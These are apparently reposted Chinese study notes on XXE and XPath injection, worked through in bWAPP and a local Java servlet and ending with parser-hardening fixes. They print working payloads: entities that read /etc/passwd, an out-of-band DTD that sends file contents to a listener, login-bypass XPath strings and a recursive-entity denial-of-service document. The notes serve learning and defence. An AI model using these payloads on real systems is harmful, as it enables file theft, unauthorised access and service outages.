XXE外部实体注入(XML External Entity Injection)学习笔记

Posted 土豆Hero

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE外部实体注入(XML External Entity Injection)学习笔记相关的知识,希望对你有一定的参考价值。

       说明:这篇笔记记录了我学习XXE外部实体注入相关的知识,包括基础知识以及后面的实例,里面还掺杂了最早学习xml注入的一些笔记,可能显得有些乱。最早学习的时候是基于php语言写的BWAPP靶机做的实验学习,最近又在学习JAVA代码审计,因此对当时的笔记进行了补充。部分笔记都来源于网络,另外结合自己的理解对java测试代码进行了补充修改,通过对代码的修复加深对XXE攻击的理解。另外强调一下,本文记录仅用于学习,提高应用程序安全性,请勿恶意使用!有不正确的地方也请大家指出修正。

一、基础知识

XML /DTD的知识参见:​​http://www.runoob.com/dtd/dtd-intro.html​

需要注意几个概念:

XML:可扩展标记语言,用于数据存储和传输,而html用于数据展现

DTD:文档类型定义,描述了文档的结构及其字段含义,DTD可以在XML文档内部声明,也可以在外部引用。下面是一个比较典型的示例:

<?xml version=”1.0” ?>

<!DOCTYPE note [

<!ELEMENT note
(to,from,heading,body)>

<!ELEMENT to (#PCDATA)>

<!ELEMENT from (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA)>

]>

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don’t forget the
meeting!</body>

</note>

XXE外部实体注入(XML

PCDATA:Parsed Character Data,意为被解析的字符数据。

CDATA:Character Data ,意为字符数据,解析器不进行解析的文本。当文本中包含”<”和”&”时,在XML中是非法的,会产生错误,因此可以使用CDATA进行修饰,格式如下:

<![CDATA[

                 被解析器忽略的字符

]]>

DTD实体:用于定义引用普通文本或者特殊字符的快捷方式的一个变量,可以在内部声明,也可以外部引用。

XML参数实体:普通实体引用以&开头,以;结尾;参数实体定义的时候以%表示,引用也以%开头,以;结尾。参数实体只能在DTD中定义及引用,而普通实体在XML文档中使用。如下面这一段:

<?xml version="1.0"
encoding="UTF-8" ?>

<!DOCTYPE a[

<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">

%dtd;

]>

<user><username>&bbbb;</username><password>admin</password></user>

evil.dtd文件内容:

<!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">

<!ENTITY % demo "<!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;>">

%demo;

当用户输入的数据以xml的格式发送给服务器处理,而用户可以控制输入的数据,并且允许引用外部实体时,就有可能产生XXE注入漏洞。


二、PHP代码测试实例

(一)使用bwapp靶机进行测试

基于PHP的靶机比较多,比如DVWA、Bwapp等,网上要以自行下载。

当允许引用外部实体时,通过构造恶意内容可导致读取任意文件,下面是正常访问的截包:XXE外部实体注入(XML

获取报文后,插入恶意的内容:

<?xml version=”1.0”
encoding=”UTF-8”?>

<!DOCTYPE a[

<!ENTITY b SYSTEM
“file:///etc/passwd”>

]>

将实体b带入到用户输入中,修改后的截包:

XXE外部实体注入(XML

备注:上面的实验没有成功,始终报错。

修改后不报错,但是没有达到效果:看到返回bee’s secret has been reset就可以了,可以通过查看数据库,secret是否有被修改。XXE外部实体注入(XML

下面的方法也可以:

XXE外部实体注入(XML

关键代码:$login 必须存在,上面是通过&b;去调用实体。XXE外部实体注入(XML

(二)XML/XPATH 注入漏洞,表单登录

判断漏洞类型:登录界面和采用数据库一样,只是查询数据的时候不是从数据库中查询,而是从XML文档中去查询。XXE外部实体注入(XML

根据报错信息判断为XML。


万能密码:

admin or 1=1

XXE外部实体注入(XML

未知用户名:

用户名:x or 1 or 1

密码:随意

XXE外部实体注入(XML


闭合XML标签:

用户名:] | //*|//*[

密码:随意,可以不填

XXE外部实体注入(XML

在密码处绕过登录:

密码:1 or 1=1 XXE外部实体注入(XML

(三)XML/XPATH 注入:search

genre=horror)]|//*|//*[(

通过尝试各种方式都不成功,查看源代码,这里使用了contains函数,该函数在中括号中调用:

$result =
$xml->xpath("//hero[contains(genre, $genre)]/movie");

需要去闭合圆括号以及中括号。

genre=horror)]|//*|//*[(

或者:genre=)]|//*|//*[(XXE外部实体注入(XML

三、Java代码测试实例

        这是由Jsp和Servlet构成的测试代码,代码根据B站老师讲解的内容​​https://www.bilibili.com/video/BV1av411H7K4​​调试而来。

        前端页面为loginxml.jsp,获取用户输入的用户名密码,然后组合成为xml格式的文本,并且传输给LoginServletXml.java进行处理,该段代码使用@WebServlet(“doLoginServlet”进行注解。当用户输入用户名为admin,密码为admin时,后台返回code为1,msg为用户名,如下:XXE外部实体注入(XML

(一)  普通注入方式

我在E盘放了一个测试文件test.txt,内容为“this is a test,现在插入恶意数据读取该内容:

<?xml version="1.0"
encoding="UTF-8" ?>

<!DOCTYPE a[

<!ENTITY b SYSTEM
"file:///e:/test.txt">

]>

<user><username>&b;</username><password>admin</password></user>XXE外部实体注入(XML

修复方式:

dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");

dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");

修复后再次访问,可以看到未反回需要的信息,而是返回了预置的错误信息:XXE外部实体注入(XML

(二)使用CDATA处理数据

当被读取的文件存在特殊符号时,如把文件修改为:

this is a test

<javascript >

<?php $_POST["cmd"]>

?

>]

再次访问时服务器报错,如下:

[Fatal Error] test.txt:5:3: XML 文档结构必须从头至尾包含在同一个实体内。

org.xml.sax.SAXParseException; systemId:
file:///e:/test.txt; lineNumber: 5; columnNumber: 3; XML 文档结构必须从头至尾包含在同一个实体内。

解决办法:

<?xml version="1.0"
encoding="UTF-8" ?>

<!DOCTYPE a[

<!ENTITY % a1
"<![CDATA[">

<!ENTITY % b SYSTEM
"file:///e:/test.txt">

<!ENTITY % a2 "]]>">

<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">

%dtd;

]>

<user><username>&all;</username><password>admin</password></user>

准备一个可以通过http访问到的evil.dtd文件,该文件中的内容:

<?xml version="1.0"
encoding="UTF-8" ?>

<!ENTITY all "%a1;%b;%a2;">

在本地启动一个httpserver,XXE外部实体注入(XML

再次访问,可以看到数据被成功读出:

XXE外部实体注入(XML

(三)  XXE外带数据POC

当用户输入数据程序不进行回显时,可以尝试构造恶意代码,如下是将参数实体的返回作为HTTP请求的参数发送到HTTP服务器,然后在HTTP服务器接收请求并且显示请求的内容。

<?xml version="1.0"
encoding="UTF-8" ?>

<!DOCTYPE a[

<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">

%dtd;

]>

<user><username>&bbbb;</username><password>admin</password></user>

evil.dtd文件内容:

<!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">

<!ENTITY % demo "<!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;>">

%demo;

将该evil.dtd文件放在http服务器中,确保目标服务器可以访问到该文件,这里我是在本地开启了HTTP服务器,监听在8888端口,使用http://127.0.0.1:8888/evil.dtd去访问即可。另外再开启一台服务器监听目标服务器发出来的请求,我这里仍然使用的是本地电脑,使用nc监听9999端口,nc -lvp 9999,然后使用burp发送报文:XXE外部实体注入(XML

监听服务器:XXE外部实体注入(XML

四、防御方法

XXE外部实体注入(XML

Java修复方法补充:       

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

//        修复方法一:
        dbf.setAttribute(XMLConstants.
ACCESS_EXTERNAL_DTD,"");
        dbf.setAttribute(XMLConstants.
ACCESS_EXTERNAL_SCHEMA,"");

//        修复方法二://        dbf.setExpandEntityReferences(false);
//        try
//            dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
//        catch (ParserConfigurationException e)
//            e.printStackTrace();
//       

五、XML 攻击模式

1. XML 文档结构内容注入攻击

前提:

了解XML文档结构,确认可控参数,根据XML语法 规则构造出攻击 PAYLOAD

攻击危害:

攻击者可以通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,引起注入造成越权添加数据及登录绕过等危害。

方法:

对可控参数输入想要篡改的元素标签和值,查看存储的数据是否被篡改,如果有多个可控参数,尝试在第一个参数输入注释开始符<!--,另外一个参数中插入结束-->,查看注释处理是否生效。

原始传输的XML内容:

<reset>

  <login>bee</login>

  <secret>sbee2</secret>

</reset>

插入POC:

bee</login><secret>bee1</scret><login>bee2></login>

插入后:

<reset>

  <login>bee</login>

<secret>bee1</scret>

<login>bee2></login>

  <secret>sbee2</secret>

</reset>

2. SOAP内容注入攻击

前提:

了解XML文档结构,还需要知道SOAP的消息数据格式,确认可控参数,构造出攻击PAYLOAD。SOAP发现相对比较困难。

危害:

通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,造成越权添加数据及登录等。

方法:

尝试恶意的XML闭合标签,若出错,尝试提交一对有效的起始标签,如果未出错,则可能存在注入攻击。

多个参数可以尝试输入注解。

3. XEE注入攻击

XML实体扩展注入,借助命名实体进行攻击。

危害:主要是造成DOS攻击

实施攻击的方法:

通过构造恶意递归的XML实体文档,在XML解析器解析时导致服务器可用的资源耗尽

简单示例&结果:

<!DOCTYPE
data [

<!ENTITY a0 “dos”>

<!ENTITY a1 “&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;”>

<!ENTITY a2 “&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;”>

<!ENTITY a3 “&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;”>

<!ENTITY a4 “&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;”>

]>

<data>&a4;</data>

结果:一般造成后台CPU占用率超过100%,服务器死机重启等现象。

4. XXE注入攻击

XML外部实体注入攻击,主要是借助外部实体进行注入攻击

危害:从应用程序能够访问的任何WEB服务器上检索敏感内容,读取服务器上的资源内容。如读取服务器文件内容,远程命令执行RCE,后端端口扫描,加载一个大文件进行DOS攻击。

5. BlindXXE注入攻击

高级的XXE攻击,XML外部参数实体注入攻击,主要是借助参数实体进行注入攻击,一般XXE攻击,主要发生在外部实体引用时借助回显来读取文件内容,但是当不能回显时,就要借助于带外数据通道OOB来实现回显绕过基本的XXE攻击限制,这就是Blind XXE






以上是关于XXE外部实体注入(XML External Entity Injection)学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

4.XXE (XML External Entity Injection)

译Attacking XML with XML External Entity Injection (XXE)

Apache POI XML外部实体(XML External Entity,XXE)攻击

文库 | XML外部实体注入总结(XXE)

文库 | 探索XML外部实体注入(XXE)

XXE攻防——XML外部实体注入